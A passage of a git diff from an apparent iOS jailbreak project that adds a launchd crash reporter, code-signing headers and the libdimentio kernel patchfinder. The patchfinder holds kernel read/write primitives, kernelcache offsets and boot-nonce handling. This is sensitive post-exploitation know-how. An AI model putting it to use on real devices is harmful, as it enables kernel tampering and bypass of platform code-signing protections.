+unsigned char *signWithRSA(unsigned char *inputData, size_t inputDataLength, unsigned char *key, size_t key_len, size_t *outputDataLength);
+
+#endif // SIGN_OSSL_H
+
+// 0xA422
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Signing.h b/RootHelperSample/launchdshim/launchdhook/choma/Signing.h
new file mode 100644
index 00000000..5a0d6706
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/Signing.h
@@ -0,0 +1,12 @@
+#ifndef SIGNING_H
+#define SIGNING_H
+
+#include
+#include
+#include
+#include
+#include
+
+// int signWithRSA(const char *certificateFile, const char *inputFile, const char *outputFile);
+
+#endif // SIGNING_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Util.h b/RootHelperSample/launchdshim/launchdhook/choma/Util.h
new file mode 100644
index 00000000..acca0ab9
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/Util.h
@@ -0,0 +1,6 @@
+#include
+#include
+
+uint64_t align_to_size(int size, int alignment);
+int count_digits(int64_t num);
+void print_hash(uint8_t *hash, size_t size);
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/crashreporter.h b/RootHelperSample/launchdshim/launchdhook/crashreporter.h
new file mode 100644
index 00000000..3ca6ed9e
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/crashreporter.h
@@ -0,0 +1,46 @@
+#import
+#include
+
+typedef int exception_type_t;
+typedef integer_t exception_data_type_t;
+
+typedef struct {
+ mach_msg_header_t header;
+ mach_msg_body_t msgh_body;
+ mach_msg_port_descriptor_t thread;
+ mach_msg_port_descriptor_t task;
+ int unused1;
+ exception_type_t exception;
+ exception_data_type_t code;
+ int unused2;
+ int subcode;
+ NDR_record_t ndr;
+} exception_raise_request; // the bits we need at least
+
+typedef struct {
+ mach_msg_header_t header;
+ NDR_record_t ndr;
+ kern_return_t retcode;
+} exception_raise_reply;
+
+typedef struct {
+ mach_msg_header_t header;
+ NDR_record_t ndr;
+ kern_return_t retcode;
+ int flavor;
+ mach_msg_type_number_t new_stateCnt;
+ natural_t new_state[614];
+} exception_raise_state_reply;
+
+typedef enum {
+ kCrashReporterStateNotActive = 0,
+ kCrashReporterStateActive = 1,
+ kCrashReporterStatePaused = 2
+} crash_reporter_state;
+
+void crashreporter_start(void);
+void crashreporter_pause(void);
+void crashreporter_resume(void);
+
+FILE *crashreporter_open_outfile(const char *source, char **nameOut);
+void crashreporter_save_outfile(FILE *f);
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/crashreporter.m b/RootHelperSample/launchdshim/launchdhook/crashreporter.m
new file mode 100644
index 00000000..35683101
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/crashreporter.m
@@ -0,0 +1,390 @@
+#include "crashreporter.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+extern CFStringRef CFCopySystemVersionString(void);
+
+void abort_with_reason(uint32_t reason_namespace, uint64_t reason_code, const char *reason_string, uint64_t reason_flags);
+
+#import
+
+static NSUncaughtExceptionHandler* defaultNSExceptionHandler = NULL;
+
+#define INSTACK(a) ((a) >= stackbot && (a) <= stacktop)
+#if defined(__x86_64__)
+#define ISALIGNED(a) ((((uintptr_t)(a)) & 0xf) == 0)
+#elif defined(__i386__)
+#define ISALIGNED(a) ((((uintptr_t)(a)) & 0xf) == 8)
+#elif defined(__arm__) || defined(__arm64__)
+#define ISALIGNED(a) ((((uintptr_t)(a)) & 0x1) == 0)
+#endif
+
+#define EXC_MASK_CRASH_RELATED (EXC_MASK_BAD_ACCESS | \
+ EXC_MASK_BAD_INSTRUCTION | \
+ EXC_MASK_ARITHMETIC | \
+ EXC_MASK_EMULATION | \
+ EXC_MASK_SOFTWARE | \
+ EXC_MASK_BREAKPOINT)
+
+__attribute__((noinline))
+static void pthread_backtrace(pthread_t pthread, vm_address_t *buffer, unsigned max, unsigned *nb,
+ unsigned skip, void *startfp)
+{
+ void *frame, *next;
+ void *stacktop = pthread_get_stackaddr_np(pthread);
+ void *stackbot = stacktop - pthread_get_stacksize_np(pthread);
+
+ *nb = 0;
+
+ // Rely on the fact that our caller has an empty stackframe (no local vars)
+ // to determine the minimum size of a stackframe (frame ptr & return addr)
+ frame = startfp;
+ next = (void*)pthread_stack_frame_decode_np((uintptr_t)frame, NULL);
+
+ /* make sure return address is never out of bounds */
+ stacktop -= (next - frame);
+
+ if(!INSTACK(frame) || !ISALIGNED(frame))
+ return;
+ while (startfp || skip--) {
+ if (startfp && startfp < next) break;
+ if(!INSTACK(next) || !ISALIGNED(next) || next <= frame)
+ return;
+ frame = next;
+ next = (void*)pthread_stack_frame_decode_np((uintptr_t)frame, NULL);
+ }
+ while (max--) {
+ uintptr_t retaddr;
+ next = (void*)pthread_stack_frame_decode_np((uintptr_t)frame, &retaddr);
+ buffer[*nb] = retaddr;
+ (*nb)++;
+ if(!INSTACK(next) || !ISALIGNED(next) || next <= frame)
+ return;
+ frame = next;
+ }
+}
+
+static crash_reporter_state gCrashReporterState = kCrashReporterStateNotActive;
+mach_port_t gExceptionPort = MACH_PORT_NULL;
+dispatch_queue_t gExceptionQueue = NULL;
+pthread_t gExceptionThread = 0;
+
+const char *crashreporter_string_for_code(int code)
+{
+ switch (code)
+ {
+ case EXC_BAD_ACCESS:
+ return "EXC_BAD_ACCESS";
+
+ case EXC_BAD_INSTRUCTION:
+ return "EXC_BAD_INSTRUCTION";
+
+ case EXC_ARITHMETIC:
+ return "EXC_ARITHMETIC";
+
+ case EXC_EMULATION:
+ return "EXC_EMULATION";
+
+ case EXC_SOFTWARE:
+ return "EXC_SOFTWARE";
+
+ case EXC_BREAKPOINT:
+ return "EXC_BREAKPOINT";
+
+ case EXC_SYSCALL:
+ return "EXC_SYSCALL";
+
+ case EXC_MACH_SYSCALL:
+ return "EXC_MACH_SYSCALL";
+
+ case EXC_RPC_ALERT:
+ return "EXC_RPC_ALERT";
+
+ case EXC_CRASH:
+ return "EXC_CRASH";
+
+ case EXC_RESOURCE:
+ return "EXC_RESOURCE";
+
+ case EXC_GUARD:
+ return "EXC_GUARD";
+
+ case EXC_CORPSE_NOTIFY:
+ return "EXC_CORPSE_NOTIFY";
+ }
+ return NULL;
+}
+
+void crashreporter_dump_backtrace_line(FILE *f, vm_address_t addr)
+{
+ Dl_info info;
+ dladdr((void *)addr, &info);
+
+ const char *sname = info.dli_sname;
+ const char *fname = info.dli_fname;
+ if (!sname) {
+ sname = "";
+ }
+
+ fprintf(f, "0x%lX: %s (0x%lX + 0x%lX) (%s(0x%lX) + 0x%lX)\n", addr, sname, (vm_address_t)info.dli_saddr, addr - (vm_address_t)info.dli_saddr, fname, (vm_address_t)info.dli_fbase, addr - (vm_address_t)info.dli_fbase);
+}
+
+FILE *crashreporter_open_outfile(const char *source, char **nameOut)
+{
+ time_t t = time(NULL);
+ char timestamp[64];
+ sprintf(×tamp[0], "%lu", t);
+
+ char *name = malloc(100);
+ strlcpy(name, source, 100);
+ strlcat(name, "-", 100);
+ strlcat(name, timestamp, 100);
+ strlcat(name, ".ips", 100);
+
+ char dumpPath[PATH_MAX];
+ strlcpy(dumpPath, "/var/mobile/Library/Logs/CrashReporter/", PATH_MAX);
+ strlcat(dumpPath, name, PATH_MAX);
+
+ if (nameOut) {
+ *nameOut = name;
+ }
+ else {
+ free(name);
+ }
+
+ FILE *f = fopen(dumpPath, "w");
+ if (f) {
+ struct utsname systemInfo;
+ uname(&systemInfo);
+
+ fprintf(f, "Device Model: %s\n", systemInfo.machine);
+
+ CFStringRef deviceVersion = CFCopySystemVersionString();
+ if (deviceVersion) {
+ fprintf(f, "Device Version: %s\n", CFStringGetCStringPtr(deviceVersion, kCFStringEncodingUTF8));
+ CFRelease(deviceVersion);
+ }
+
+ #ifdef __arm64e__
+ fprintf(f, "Architecture: arm64e\n");
+ #else
+ fprintf(f, "Architecture: arm64\n");
+ #endif
+ fprintf(f, "\n");
+ }
+
+ return f;
+}
+
+void crashreporter_save_outfile(FILE *f)
+{
+ fflush(f);
+ fchown(fileno(f), 0, 250);
+ fchmod(fileno(f), 00660);
+ if (fcntl(fileno(f), F_FULLFSYNC) != 0) {
+ fsync(fileno(f));
+ }
+ fclose(f);
+
+ int dir = open("/var/mobile/Library/Logs/CrashReporter", O_RDONLY | O_DIRECTORY);
+ if (dir >= 0) {
+ if (fcntl(dir, F_FULLFSYNC) != 0) {
+ fsync(dir);
+ }
+ close(dir);
+ }
+}
+
+void crashreporter_dump_mach(FILE *f, int code, int subcode, arm_thread_state64_t threadState, arm_exception_state64_t exceptionState, vm_address_t *bt)
+{
+ fprintf(f, "Exception: %s\n", crashreporter_string_for_code(code));
+ fprintf(f, "Exception Subcode: %d\n", subcode);
+ fprintf(f, "\n");
+
+ fprintf(f, "Register State:\n");
+ uint64_t pc = (uint64_t)__darwin_arm_thread_state64_get_pc(threadState);
+ uint64_t lr = (uint64_t)__darwin_arm_thread_state64_get_lr(threadState);
+
+ for(int i = 0; i <= 28; i++) {
+ if (i < 10) {
+ fprintf(f, " ");
+ }
+ fprintf(f, "x%d = 0x%016llX", i, threadState.__x[i]);
+ if ((i+1) % (6+1) == 0) {
+ fprintf(f, "\n");
+ }
+ else {
+ fprintf(f, ", ");
+ }
+ }
+ fprintf(f, " lr = 0x%016llX, pc = 0x%016llX, sp = 0x%016llX, fp = 0x%016llX, cpsr= 0x%08X, far = 0x%016llX\n\n", lr, pc, (uint64_t)__darwin_arm_thread_state64_get_sp(threadState), (uint64_t)__darwin_arm_thread_state64_get_fp(threadState), threadState.__cpsr, exceptionState.__far);
+
+ fprintf(f, "Backtrace:\n");
+ crashreporter_dump_backtrace_line(f, (vm_address_t)pc);
+ crashreporter_dump_backtrace_line(f, (vm_address_t)lr);
+ int btIdx = 0;
+ vm_address_t btAddr = bt[btIdx++];
+ while (btAddr != 0) {
+ crashreporter_dump_backtrace_line(f, btAddr);
+ btAddr = bt[btIdx++];
+ }
+ fprintf(f, "\n");
+}
+
+void crashreporter_catch_mach(exception_raise_request *request, exception_raise_reply *reply)
+{
+ pthread_t pthread = pthread_from_mach_thread_np(request->thread.name);
+
+ mach_msg_type_number_t threadStateCount = ARM_THREAD_STATE64_COUNT;
+ arm_thread_state64_t threadState;
+ thread_get_state(request->thread.name, ARM_THREAD_STATE64, (thread_state_t)&threadState, &threadStateCount);
+
+ arm_exception_state64_t exceptionState;
+ mach_msg_type_number_t exceptionStateCount = ARM_EXCEPTION_STATE64_COUNT;
+ thread_get_state(request->thread.name, ARM_EXCEPTION_STATE64, (thread_state_t)&exceptionState, &exceptionStateCount);
+
+ reply->ndr = request->ndr;
+ reply->retcode = KERN_FAILURE;
+
+ vm_address_t *bt = malloc(100 * sizeof(vm_address_t));
+ memset(bt, 0, 100 * sizeof(vm_address_t));
+ unsigned c = 100;
+ pthread_backtrace(pthread, bt, c, &c, 0, (void *)__darwin_arm_thread_state64_get_fp(threadState));
+
+ char *name = NULL;
+ FILE *f = crashreporter_open_outfile("launchd", &name);
+ if (f) {
+ crashreporter_dump_mach(f, request->code, request->subcode, threadState, exceptionState, bt);
+ crashreporter_save_outfile(f);
+ }
+
+ if (name) {
+ char msg[1000];
+ snprintf(msg, 1000, "Mach exception occured. A detailed report has been written to the file %s.", name);
+ abort_with_reason(7, 1, msg, 0);
+ }
+ else {
+ abort_with_reason(7, 1, "Mach exception occured. Failed to write the detailed report to a file.", 0);
+ }
+}
+
+void crashreporter_dump_objc(FILE *f, NSException *e)
+{
+ @autoreleasepool {
+ fprintf(f, "Exception: %s\n", e.name.UTF8String);
+ fprintf(f, "Exception Reason: %s\n", e.reason.UTF8String);
+ fprintf(f, "User Info: %s\n", e.userInfo.description.UTF8String);
+ fprintf(f, "\n");
+
+ if (e.callStackReturnAddresses.count) {
+ fprintf(f, "Backtrace:\n");
+ for (NSNumber *btAddrNum in e.callStackReturnAddresses) {
+ crashreporter_dump_backtrace_line(f, [btAddrNum unsignedLongLongValue]);
+ }
+ fprintf(f, "\n");
+ }
+ else if (e.callStackSymbols.count) {
+ fprintf(f, "Backtrace:\n");
+ for (NSString *symbol in e.callStackSymbols) {
+ fprintf(f, "%s\n", symbol.UTF8String);
+ }
+ fprintf(f, "\n");
+ }
+ }
+}
+
+void crashreporter_catch_objc(NSException *e)
+{
+ @autoreleasepool {
+ static BOOL hasCrashed = NO;
+ if (hasCrashed) {
+ exit(187);
+ }
+ else {
+ hasCrashed = YES;
+ }
+
+ char *name = NULL;
+ FILE *f = crashreporter_open_outfile("launchd", &name);
+ if (f) {
+ @try {
+ crashreporter_dump_objc(f, e);
+ }
+ @catch (NSException *e2) {
+ exit(187);
+ }
+ crashreporter_save_outfile(f);
+ }
+ if (name) {
+ char msg[1000];
+ snprintf(msg, 1000, "Objective-C exception occured. A detailed report has been written to the file %s.", name);
+ abort_with_reason(7, 1, msg, 0);
+ }
+ else {
+ abort_with_reason(7, 1, "Objective-C exception occured. Failed to write the detailed report to a file.", 0);
+ }
+ }
+}
+
+void *crashreporter_listen(void *arg)
+{
+ while (true) {
+ mach_msg_header_t msg;
+ msg.msgh_local_port = gExceptionPort;
+ msg.msgh_size = 1024;
+ mach_msg_receive(&msg);
+
+ exception_raise_reply reply;
+ crashreporter_catch_mach((exception_raise_request *)&msg, &reply);
+
+ reply.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.msgh_bits), 0);
+ reply.header.msgh_size = sizeof(exception_raise_reply);
+ reply.header.msgh_remote_port = msg.msgh_remote_port;
+ reply.header.msgh_local_port = MACH_PORT_NULL;
+ reply.header.msgh_id = msg.msgh_id + 0x64;
+
+ mach_msg(&reply.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, reply.header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ }
+}
+
+void crashreporter_pause(void)
+{
+ if (gCrashReporterState == kCrashReporterStateActive) {
+ task_set_exception_ports(mach_task_self_, EXC_MASK_CRASH_RELATED, 0, EXCEPTION_DEFAULT, ARM_THREAD_STATE64);
+ NSSetUncaughtExceptionHandler(defaultNSExceptionHandler);
+ defaultNSExceptionHandler = nil;
+ gCrashReporterState = kCrashReporterStatePaused;
+ }
+}
+
+void crashreporter_resume(void)
+{
+ if (gCrashReporterState == kCrashReporterStatePaused) {
+ task_set_exception_ports(mach_task_self_, EXC_MASK_CRASH_RELATED, gExceptionPort, EXCEPTION_DEFAULT, ARM_THREAD_STATE64);
+ defaultNSExceptionHandler = NSGetUncaughtExceptionHandler();
+ NSSetUncaughtExceptionHandler(crashreporter_catch_objc);
+ gCrashReporterState = kCrashReporterStateActive;
+ }
+}
+
+void crashreporter_start(void)
+{
+ if (gCrashReporterState == kCrashReporterStateNotActive) {
+ mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &gExceptionPort);
+ mach_port_insert_right(mach_task_self_, gExceptionPort, gExceptionPort, MACH_MSG_TYPE_MAKE_SEND);
+ pthread_create(&gExceptionThread, NULL, crashreporter_listen, "crashreporter");
+ gCrashReporterState = kCrashReporterStatePaused;
+ crashreporter_resume();
+ }
+}
+
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h b/RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h
new file mode 100644
index 00000000..7f40f3f7
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h
@@ -0,0 +1,17 @@
+//
+// cs_blobs.h
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/08/05.
+//
+
+#ifndef cs_blobs_h
+#define cs_blobs_h
+
+#include
+
+uint64_t fun_cs_blobs(char* execPath);
+uint64_t fun_proc_dump_entitlements(uint64_t proc);
+uint64_t fun_vnode_dump_entitlements(const char* path);
+
+#endif /* cs_blobs_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h
new file mode 100644
index 00000000..88d9b2b6
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h
@@ -0,0 +1,100 @@
+/* Copyright 2023 0x7ff
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef LIBDIMENTIO_H
+# define LIBDIMENTIO_H
+# include
+# include
+# define KADDR_FMT "0x%" PRIX64
+
+#include
+
+typedef struct {
+ struct section_64 s64;
+ char *data;
+} sec_64_t;
+
+typedef struct {
+ sec_64_t sec_text, sec_cstring;
+ const char *kernel;
+ size_t kernel_sz;
+ char *data;
+} pfinder_t;
+
+typedef uint64_t kaddr_t;
+typedef kern_return_t (*kread_func_t)(kaddr_t, void *, size_t), (*kwrite_func_t)(kaddr_t, const void *, size_t);
+
+void
+dimentio_term(void);
+
+kern_return_t
+dimentio_init(kaddr_t, kread_func_t, kwrite_func_t);
+
+kern_return_t
+dimentio(uint64_t *, bool, uint8_t[CC_SHA384_DIGEST_LENGTH], size_t *);
+
+kern_return_t
+dimentio_preinit(uint64_t *, bool, uint8_t[CC_SHA384_DIGEST_LENGTH], size_t *);
+
+kern_return_t
+pfinder_init(pfinder_t *pfinder);
+
+int
+set_kbase(uint64_t _kbase);
+
+int
+set_kfd(uint64_t kfd);
+
+int
+set_kernel_path(char* _path);
+
+void
+pfinder_term(pfinder_t *pfinder);
+
+kaddr_t
+pfinder_kernproc(pfinder_t pfinder);
+
+kaddr_t
+pfinder_cdevsw(pfinder_t pfinder);
+
+kaddr_t
+pfinder_gPhysBase(pfinder_t pfinder);
+
+kaddr_t
+pfinder_gPhysSize(pfinder_t pfinder);
+
+kaddr_t
+pfinder_gVirtBase(pfinder_t pfinder);
+
+kaddr_t
+pfinder_perfmon_dev_open_2(pfinder_t pfinder);
+
+kaddr_t
+pfinder_perfmon_dev_open(pfinder_t pfinder);
+
+kaddr_t
+pfinder_perfmon_devices(pfinder_t pfinder);
+
+kaddr_t
+pfinder_ptov_table(pfinder_t pfinder);
+
+kaddr_t
+pfinder_vn_kqfilter_2(pfinder_t pfinder);
+
+kaddr_t
+pfinder_vn_kqfilter(pfinder_t pfinder);
+
+kaddr_t
+pfinder_proc_object_size(pfinder_t pfinder);
+#endif
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m
new file mode 100644
index 00000000..91bcad73
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m
@@ -0,0 +1,1868 @@
+/* Copyright 2023 0x7ff
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "patchfinder.h"
+#include "libdimentio.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "../krw.h"
+
+#define LZSS_F (18)
+#define LZSS_N (4096)
+#define LZSS_THRESHOLD (2)
+#define IPC_ENTRY_SZ (0x18)
+#define OS_STRING_LEN_OFF (0xC)
+#define KCOMP_HDR_PAD_SZ (0x16C)
+#define OS_STRING_STRING_OFF (0x10)
+#define KALLOC_ARRAY_TYPE_BIT (47U)
+#define IPC_SPACE_IS_TABLE_OFF (0x20)
+#define IPC_ENTRY_IE_OBJECT_OFF (0x0)
+#define PROC_P_LIST_LE_PREV_OFF (0x8)
+#define OS_DICTIONARY_COUNT_OFF (0x14)
+#define PROC_P_LIST_LH_FIRST_OFF (0x0)
+#define OS_DICTIONARY_DICT_ENTRY_OFF (0x20)
+#define OS_STRING_LEN(a) extract32(a, 14, 18)
+#define LOADED_KEXT_SUMMARY_HDR_NAME_OFF (0x10)
+#define LOADED_KEXT_SUMMARY_HDR_ADDR_OFF (0x60)
+#if TARGET_OS_OSX
+# define PREBOOT_PATH "/System/Volumes/Preboot"
+#else
+# define PREBOOT_PATH "/private/preboot/"
+#endif
+#define IO_AES_ACCELERATOR_SPECIAL_KEYS_OFF (0xD0)
+#define APPLE_MOBILE_AP_NONCE_CLEAR_NONCE_SEL (0xC9)
+#define IO_AES_ACCELERATOR_SPECIAL_KEY_CNT_OFF (0xD8)
+#define APPLE_MOBILE_AP_NONCE_GENERATE_NONCE_SEL (0xC8)
+#define BOOT_PATH "/System/Library/Caches/com.apple.kernelcaches/kernelcache"
+
+#define DER_INT (0x2U)
+#define DER_SEQ (0x30U)
+#define DER_IA5_STR (0x16U)
+#define DER_OCTET_STR (0x4U)
+#define ARM_PGSHIFT_16K (14U)
+#define PROC_PIDREGIONINFO (7)
+#define RD(a) extract32(a, 0, 5)
+#define RN(a) extract32(a, 5, 5)
+#define VM_KERN_MEMORY_OSKEXT (5)
+#define KCOMP_HDR_MAGIC (0x636F6D70U)
+#define ADRP_ADDR(a) ((a) & ~0xFFFULL)
+#define ADRP_IMM(a) (ADR_IMM(a) << 12U)
+#define IO_OBJECT_NULL ((io_object_t)0)
+#define ADD_X_IMM(a) extract32(a, 10, 12)
+#define kIODeviceTreePlane "IODeviceTree"
+#define KCOMP_HDR_TYPE_LZSS (0x6C7A7373U)
+#define LDR_X_IMM(a) (sextract64(a, 5, 19) << 2U)
+#define kOSBundleLoadAddressKey "OSBundleLoadAddress"
+#define IS_ADR(a) (((a) & 0x9F000000U) == 0x10000000U)
+#define IS_ADRP(a) (((a) & 0x9F000000U) == 0x90000000U)
+#define IS_LDR_X(a) (((a) & 0xFF000000U) == 0x58000000U)
+#define IS_ADD_X(a) (((a) & 0xFFC00000U) == 0x91000000U)
+#define IS_SUBS_X(a) (((a) & 0xFF200000U) == 0xEB000000U)
+#define LDR_W_UNSIGNED_IMM(a) (extract32(a, 10, 12) << 2U)
+#define LDR_X_UNSIGNED_IMM(a) (extract32(a, 10, 12) << 3U)
+#define kBootNoncePropertyKey "com.apple.System.boot-nonce"
+#define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY"
+#define kIONVRAMSyncNowPropertyKey "IONVRAM-SYNCNOW-PROPERTY"
+#define IS_LDR_W_UNSIGNED_IMM(a) (((a) & 0xFFC00000U) == 0xB9400000U)
+#define IS_LDR_X_UNSIGNED_IMM(a) (((a) & 0xFFC00000U) == 0xF9400000U)
+#define ADR_IMM(a) ((sextract64(a, 5, 19) << 2U) | extract32(a, 29, 2))
+#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
+
+#ifndef SECT_CSTRING
+# define SECT_CSTRING "__cstring"
+#endif
+
+#ifndef SEG_TEXT_EXEC
+# define SEG_TEXT_EXEC "__TEXT_EXEC"
+#endif
+
+#ifndef MIN
+# define MIN(a, b) ((a) < (b) ? (a) : (b))
+#endif
+
+char* kernel_path = NULL;
+uint64_t kfd = 0;
+
+typedef char io_string_t[512];
+typedef uint32_t IOOptionBits;
+typedef mach_port_t io_object_t;
+typedef kern_return_t (*kernrw_0_kbase_func_t)(kaddr_t *);
+typedef io_object_t io_service_t, io_connect_t, io_registry_entry_t;
+typedef int (*krw_0_kbase_func_t)(kaddr_t *), (*krw_0_kread_func_t)(kaddr_t, void *, size_t), (*krw_0_kwrite_func_t)(const void *, kaddr_t, size_t), (*kernrw_0_req_kernrw_func_t)(void);
+
+kern_return_t
+IOServiceClose(io_connect_t);
+
+kern_return_t
+IOObjectRelease(io_object_t);
+
+CFMutableDictionaryRef
+IOServiceMatching(const char *);
+
+int
+proc_pidinfo(int, int, uint64_t, void *, int);
+
+CFDictionaryRef
+OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
+
+io_registry_entry_t
+IORegistryEntryFromPath(mach_port_t, const io_string_t);
+
+io_service_t
+IOServiceGetMatchingService(mach_port_t, CFDictionaryRef);
+
+kern_return_t
+IOServiceOpen(io_service_t, task_port_t, uint32_t, io_connect_t *);
+
+kern_return_t
+IORegistryEntrySetCFProperty(io_registry_entry_t, CFStringRef, CFTypeRef);
+
+kern_return_t
+mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t);
+
+kern_return_t
+IOConnectCallStructMethod(io_connect_t, uint32_t, const void *, size_t, void *, size_t *);
+
+CFTypeRef
+IORegistryEntryCreateCFProperty(io_registry_entry_t, CFStringRef, CFAllocatorRef, IOOptionBits);
+
+kern_return_t
+mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *);
+
+kern_return_t
+mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *);
+
+extern const mach_port_t kIOMasterPortDefault;
+
+static int kmem_fd = -1;
+static unsigned t1sz_boot;
+static void *krw_0, *kernrw_0;
+static kread_func_t kread_buf;
+static task_t tfp0 = TASK_NULL;
+static uint64_t proc_struct_sz;
+static kwrite_func_t kwrite_buf;
+static krw_0_kread_func_t krw_0_kread;
+static krw_0_kwrite_func_t krw_0_kwrite;
+static bool has_proc_struct_sz, has_kalloc_array_decode, kalloc_array_decode_v2;
+static kaddr_t kbase, kernproc, proc_struct_sz_ptr, vm_kernel_link_addr, our_task;
+static size_t proc_task_off, proc_p_pid_off, task_itk_space_off, io_dt_nvram_of_dict_off, ipc_port_ip_kobject_off;
+
+static uint32_t
+extract32(uint32_t val, unsigned start, unsigned len) {
+ return (val >> start) & (~0U >> (32U - len));
+}
+
+static uint64_t
+sextract64(uint64_t val, unsigned start, unsigned len) {
+ return (uint64_t)((int64_t)(val << (64U - len - start)) >> (64U - len));
+}
+
+static void
+kxpacd(kaddr_t *addr) {
+ if(t1sz_boot != 0) {
+ *addr |= ~((1ULL << (64U - t1sz_boot)) - 1U);
+ }
+}
+
+static size_t
+decompress_lzss(const uint8_t *src, size_t src_len, uint8_t *dst, size_t dst_len) {
+ const uint8_t *src_end = src + src_len, *dst_start = dst, *dst_end = dst + dst_len;
+ uint16_t i, r = LZSS_N - LZSS_F, flags = 0;
+ uint8_t text_buf[LZSS_N + LZSS_F - 1], j;
+
+ memset(text_buf, ' ', r);
+ while(src != src_end && dst != dst_end) {
+ if(((flags >>= 1U) & 0x100U) == 0) {
+ flags = *src++ | 0xFF00U;
+ if(src == src_end) {
+ break;
+ }
+ }
+ if((flags & 1U) != 0) {
+ text_buf[r++] = *dst++ = *src++;
+ r &= LZSS_N - 1U;
+ } else {
+ i = *src++;
+ if(src == src_end) {
+ break;
+ }
+ j = *src++;
+ i |= (j & 0xF0U) << 4U;
+ j = (j & 0xFU) + LZSS_THRESHOLD;
+ do {
+ *dst++ = text_buf[r++] = text_buf[i++ & (LZSS_N - 1U)];
+ r &= LZSS_N - 1U;
+ } while(j-- != 0 && dst != dst_end);
+ }
+ }
+ return (size_t)(dst - dst_start);
+}
+
+static const uint8_t *
+der_decode(uint8_t tag, const uint8_t *der, const uint8_t *der_end, size_t *out_len) {
+ size_t der_len;
+
+ if(der_end - der > 2 && tag == *der++) {
+ if(((der_len = *der++) & 0x80U) != 0) {
+ *out_len = 0;
+ if((der_len &= 0x7FU) <= sizeof(*out_len) && (size_t)(der_end - der) >= der_len) {
+ while(der_len-- != 0) {
+ *out_len = (*out_len << 8U) | *der++;
+ }
+ }
+ } else {
+ *out_len = der_len;
+ }
+ if(*out_len != 0 && (size_t)(der_end - der) >= *out_len) {
+ return der;
+ }
+ }
+ return NULL;
+}
+
+static const uint8_t *
+der_decode_seq(const uint8_t *der, const uint8_t *der_end, const uint8_t **seq_end) {
+ size_t der_len;
+
+ if((der = der_decode(DER_SEQ, der, der_end, &der_len)) != NULL) {
+ *seq_end = der + der_len;
+ }
+ return der;
+}
+
+static const uint8_t *
+der_decode_uint64(const uint8_t *der, const uint8_t *der_end, uint64_t *r) {
+ size_t der_len;
+
+ if((der = der_decode(DER_INT, der, der_end, &der_len)) != NULL && (*der & 0x80U) == 0 && (der_len <= sizeof(*r) || (--der_len == sizeof(*r) && *der++ == 0))) {
+ *r = 0;
+ while(der_len-- != 0) {
+ *r = (*r << 8U) | *der++;
+ }
+ return der;
+ }
+ return NULL;
+}
+
+static void *
+kdecompress(const void *src, size_t src_len, size_t *dst_len) {
+ const uint8_t *der, *octet, *der_end, *src_end = (const uint8_t *)src + src_len;
+ struct {
+ uint32_t magic, type, adler32, uncomp_sz, comp_sz;
+ uint8_t pad[KCOMP_HDR_PAD_SZ];
+ } kcomp_hdr;
+ size_t der_len;
+ uint64_t r;
+ void *dst;
+
